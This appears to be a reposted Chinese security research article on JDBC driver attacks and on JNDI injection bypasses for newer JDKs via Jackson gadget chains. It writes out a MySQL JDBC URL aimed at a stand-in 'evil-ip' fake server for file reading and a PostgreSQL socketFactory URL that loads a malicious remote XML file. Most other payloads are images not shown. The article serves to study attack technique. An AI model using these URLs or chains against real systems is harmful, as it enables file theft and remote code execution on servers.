JDBC Attack与高版本JDK下的JNDI Bypass

admin 2024年7月31日15:42:09评论50 views字数 4341阅读14分28秒阅读模式
一、前 言

二、关于 JDBC Attack

三、关于 JNDI 注入

四、使用JDBC Attack扩展JNDI注入攻击面

五、总 结

前  言
JNDI 注入作为 Java 攻击的常见 Sink 点,通常被用于 Weblogic 以及 Fastjson 等常见目标的攻击流程中,而 JNDI 注入的利用经过 JDK 新版本对相关利用的修复,以及一些常见依赖利用方式的变化,在高版本 JDK 中,其利用逐渐遭遇了困境。而 JDBC Attack,作为针对 Java 数据库引擎的一种攻击方式,除了其常规的利用方式之外,也可以与原生反序列化结合起来,实现对 JNDI 攻击的扩展,解决高版本下 JNDI 注入的困境。

关于JDBC Attack
JDBC Attack与高版本JDK下的JNDI Bypass

首先是关于基础的JDBC Attack的一些回顾,JDBC 是Java应用在连接不同的底层数据库引擎时使用的抽象层,使得Java应用可以用相同的接口对各种不同的数据库进行抽象的控制,JDBC使用如下的URL格式进行连接。

JDBC Attack与高版本JDK下的JNDI Bypass

而该URL中,后面的可控参数就是针对不同数据库Driver进行利用的入口。

接下来我们来回顾一下常见的几个 Driver 的利用。

01
MySQL Driver

针对MySQL Driver的通用利用主要是使用 Fake Server 进行任意文件读,首先需要配置 MySQL fake server,然后开启 allowLoadLocalInfile=true 设置,构造形如  jdbc:mysql://evil-ip:3306/test?allowLoadLocalInfile=true 的 URL 去请求 fake server 即可进行利用。

对于 MySQL 也可以打反序列化,但是有版本限制,只有较老的 <= 8.0.20, < 5.1.49 的版本可以利用,可以配置不同的 URL 参数来开启反序列化的利用,下表是节选自《Make JDBC attack brilliant again》议题的具体利用 URL 参数。

JDBC Attack与高版本JDK下的JNDI Bypass

02
PostgreSQL

pgsql 的利用则是22年爆的一个洞,即 CVE-2022-21724,影响版本为 9.4.1208 <= PgJDBC < 42.2.2542.3.0 <= PgJDBC < 42.3.2

这个洞可以利用 socketFactorysocketFactoryArg 来传入一个类并实例化,然后其构造参数是可控的,我们可以寻找到 spring 框架中的如下两个类来进行利用。

JDBC Attack与高版本JDK下的JNDI Bypass

构造形如jdbc:postgresql://node/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1/test.xml的payload 来引入恶意的 xml 文件进行利用。

xml 文件的内容如下:

JDBC Attack与高版本JDK下的JNDI Bypass

03
Spring Boot H2

H2 driver 的利用攻击面比较广,可以分别来分析一下。

javac

首先对于包含 javac 的环境,即包含 jdk 的环境,可以直接构造 Java 语句进行 RCE。

网上流传的 Poc 为:

JDBC Attack与高版本JDK下的JNDI Bypass

poc.sql 的内容为:

JDBC Attack与高版本JDK下的JNDI Bypass

这里通过 init 来执行语句,其只允许执行一条 sql 语句,所以网上的思路都是加载外部 sql 文件来执行,需要出网的条件。

不过这里有个 trick,实际上多进行几次转义,这里的 init 可以塞进两条语句,如下所示,实际上不出网也可以实现利用。

JDBC Attack与高版本JDK下的JNDI Bypass

Nashorn JavaScript

其次,对于没有 javac 环境的目标,通常可以使用 javascript 引擎来攻击,不过对于 Nashorn JavaScript 引擎,其在 jdk 15 之后被移除了,因此只适用于低于15版本的利用。

利用的 payload 如下:

JDBC Attack与高版本JDK下的JNDI Bypass

Groovy

除了 JavaScript 引擎之外,还可以使用 Groovy 脚本引擎来利用,不过 Groovy 依赖相对少见一些,能利用的目标较少。

利用的 payload 如下:

JDBC Attack与高版本JDK下的JNDI Bypass

关于JNDI注入
01
JNDI 注入的现状

对于 JNDI 注入,首先一个基本的认知是,在 8u191 之后,高版本 JDK codebase 为 true,因此客户端默认不会请求远程 Server上的恶意 Class,因此在存在 JNDI 注入的情况下,也无法直接加载 Class 来 RCE。

然后针对这个问题,有两种常见的绕过方式,分别是服务端返回序列化 Payload,触发客户端的本地 Gadget;以及构造返回的 Reference 对象,将其指向我们本地 classpath 中存在的类,并通过寻找合适的 Factory 类来构造 Payload 实现 RCE。

后者有一种常见的思路是利用 org.apache.naming.factory.BeanFactory 这个类来实现利用。其 getObjectInstance 方法可以反射实例化 Reference 所指向的任意 Bean Class,并且会调用 setter 方法为所有的属性赋值,而它有一个 forceString 参数,可以将任意一个方法指定成一个 setter,那么在这些参数都可控的情况下,我们就有了一个任意静态方法调用,那么就可以在使用 tomcat 8 之后都携带的 javax.el.ELProcessor 来 RCE,这个也叫做 Tomcat Bypass。

但是去年有一天在实战中发现这个打不通了,搜报错搜了半天网上也没啥文章说这事。后来搜到了官方的一个 <a ""="" class="weapp_text_link js_weapp_entry" href="">Bug Report,然后发现经过一番讨论之后 forceString 这个特性已经被删了:

JDBC Attack与高版本JDK下的JNDI Bypass

JDBC Attack与高版本JDK下的JNDI Bypass

也就是说最常见的 codebase bypass 方法已经无法利用了,在较新的 Tomcat 或者 Spring Boot 环境里基本上只能考虑触发客户端本地 Gadget 的方法了。

02
JNDI注入的Spring环境利用

而去年阿里云 CTF 中,一个新的 Jackson 反序列化链的利用被提了出来,而 Jackson 是 spring boot 都会默认包含的依赖,也就是说 JNDI 的客户端是 Spring Boot,就都可以考虑打这条 Gadget。

这条链主要利用了 Jackson 的一个特性,那就是 Jackson 里的 POJONode 类有着跟 Fastjson 的 JSONObject 类差不多的性质,在 toString 时会触发对象类中的 getter 方法,那么也就可以用打 Fastjson 常用的 TemplatesImplgetOutputProperties 链。

但是这条链有一个问题,在 Jackson 依次触发 getter 时,其获取所有 getter 的顺序是使用 java 的 getDeclaredMethods 方法,而根据 Java 官方文档,这个方法获取的顺序是不确定的,如果获取到非预期的 getter 就会直接报错退出了。

JDBC Attack与高版本JDK下的JNDI Bypass

因此常常会出现有时打通有时打不通的情况,所以后来又对这条链进行了一些改进,这里可以使用 Spring Boot 里一个代理工具类进行封装,使 Jackson 只获取到我们需要的 getter,就实现了稳定利用。

JDBC Attack与高版本JDK下的JNDI Bypass

最终可以构造出如下 payload,即可在 spring boot 环境下实现通杀的效果,虽然相比之前经典的 tomcat bypass 鸡肋的许多,但总算有了新的进展。

JDBC Attack与高版本JDK下的JNDI Bypass

使用JDBC Attack扩展JNDI注入攻击面
上面的利用方式可以对于 Spring Boot 差不多进行通杀,但是还有一个问题是 TemplatesImpl 在最新的高版本 JDK 里是用不了的,那么圈子又兜回去了,对于高版本的 JDK 我们也需要一种可用的攻击手法才行。

这时候就可以考虑通过 JDBC Attack 来实现,我们回顾刚才的链,jackson 的链可以触发任意 getter,而 JDBC 中 getConnection 是 JDBC Attack 的触发点,那么就可以将 JDBC 与原生反序列化结合起来,先打 Jackson 链,然后去触发后续的 JDBC Attack。

01
Postgresql

这里首先我们通过 jackson 来触发 getter 的利用,然后创建一个 pgsql 的 datasource,把恶意的 url 塞进其中,就可以进行 getter 的后利用,就可以实现无 TemplatesImpl 的 RCE。

JDBC Attack与高版本JDK下的JNDI Bypass

对于 PgSQL 使用 Jackson 链时,会遇到一个如下的报错:

JDBC Attack与高版本JDK下的JNDI Bypass

这是因为 Jackson 在处理 getter 时不区分大小写,将 PgSQL 的两个 getter 识别为冲突,为了解决这个问题,我们同样可以使用 aop 代理的方法,套一层 DataSource 的接口类来解决,即 Payload 的该部分。

JDBC Attack与高版本JDK下的JNDI Bypass

同时,这里使用的 HotSwappableTargetSourceXString 的利用,也是由于高版本 JDK 不支持 BadAttributeValueExpException 而做出的替换,该利用是可以在高版本 JDK 直接使用的。

02
Dbcp H2

对于 Dbcp H2 我们可以进行如下利用,将 Jackson 链中 POJONode 的参数的 dataSource 替换为如下代码:

JDBC Attack与高版本JDK下的JNDI Bypass

同时构造如下的高版本 JDK 可用的 rmi server,并将其设置为 dataSource 的 URL 来进行请求。

JDBC Attack与高版本JDK下的JNDI Bypass

03
C3p0 H2

对于 C3p0 H2,我们可以进行如下利用,最终也是落脚到 JavaScript 引擎的命令执行,我们同样需要将 Jackson 链中 POJONode 的参数的 dataSource 替换为如下代码:

JDBC Attack与高版本JDK下的JNDI Bypass

总  结
本文首先回顾了基础的 JDBC 与 JDBC Attack 利用,然后分析了高版本 JDK 下 JNDI 注入遇到的困境与可行的解决方案,最后探讨了了使用 JDBC Attack 与原生反序列化结合来扩充高版本 JDK 下 JNDI 注入的思路。

在高版本 JDK 的 JNDI 注入中,我们无法像低版本的 JDK 一样直接进行利用,需要寻找目标本地依赖的攻击面,根据不同的目标进行具体的利用,JDBC 中的 getter 利用是可行的选择之一。

参考链接
1. <a ""="" class="weapp_text_link js_weapp_entry" href="">Make JDBC Attacks Brilliant Again 番外篇

2. <a ""="" class="weapp_text_link js_weapp_entry" href="">Deserial Sink With JDBC

3. <a ""="" class="weapp_text_link js_weapp_entry" href="">Make JDBC Attack Brilliant Again

【版权说明】

本作品著作权归crumbledwall所有

未经作者同意,不得转载

JDBC Attack与高版本JDK下的JNDI Bypass
crumbledwall

天工实验室安全研究员

研究领域:Web安全、静态分析。

原文始发于微信公众号(破壳平台):JDBC Attack与高版本JDK下的JNDI Bypass

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月31日15:42:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JDBC Attack与高版本JDK下的JNDI Bypasshttps://cn-sec.com/archives/2994896.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息